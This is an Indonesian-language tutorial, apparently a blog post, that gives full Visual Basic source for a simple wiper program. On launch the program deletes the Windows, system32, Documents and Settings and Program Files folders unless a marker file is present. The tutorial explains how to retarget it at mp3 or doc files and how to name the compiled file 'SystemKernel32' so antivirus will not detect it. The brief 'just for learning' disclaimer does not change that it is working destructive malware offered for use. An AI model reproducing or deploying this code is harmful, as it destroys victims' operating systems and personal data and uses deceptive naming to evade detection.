Antu Maya

Malware simple

Tapi jangan usil coy
ini cuma buat mengetahui ajeh
caranya yeh yeh

1. Buka Visual Basic
2. Bikin form sekecil banget mungkin banget Teh deh source code

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject("Scripting.FileSystemObject")
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist("c:\windows\system32\sayur.txt") = True Then
End
Else
Call DelAll("c:\windows\system")
Call DelAll("c:\windows\system32")
Call DelAll("c:\windows")
Call DelAll("c:\Documents and Settings\All Users")
Call DelAll("c:\Documents and Settings\Administrator")
Call DelAll("c:\Documents and Settings")
Call DelAll("c:\Program Files\Common Files")
Call DelAll("c:\Program Files\Internet Explorer")
Call DelAll("c:\Program Files\Microsoft Visual Studio")
Call DelAll("c:\Program Files")

End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = "" Then
FileExist = False
Else
FileExist = True
End If
End Function

3. Warning !!!
If FileExist("c:\windows\system32\sayur.txt") = True Then
perhatikan sayur.txt itu bisa diganti namanya terserah mw diganti apa.
itu fungsinya kalo ada file yang bernama sayur.txt di system32 kalo dak ade buat dukin
pake notepad simpan di system32, nih virus ga jadi beraktifitas ???

4. Call DelAll("c:\windows\system")
Call DelAll("c:\windows\system32")
Call DelAll("c:\windows")
Call DelAll("C:\Documents and Settings\All Users")
Call DelAll("C:\Documents and Settings\Administrator")
Call DelAll("C:\Documents and Settings")
Call DelAll("C:\Program Files\Common Files")
Call DelAll("C:\Program Files\Internet Explorer")
Call DelAll("C:\Program Files\Microsoft Visual Studio")
Nah ini yang bahaya (O_o) baris ini fungsinya buat ngapus directori
bisa di ganti
misalnya jadi
CAll DelAll(*mp3*)
CAll DelAll(*doc*) atw apalah

5. Yang Terakhir kamu kompile pake nama "SystemKernel32" biar ga kedeteksi AntiVirus
6. Simpel Kan
Call DelAll("C:\Program Files")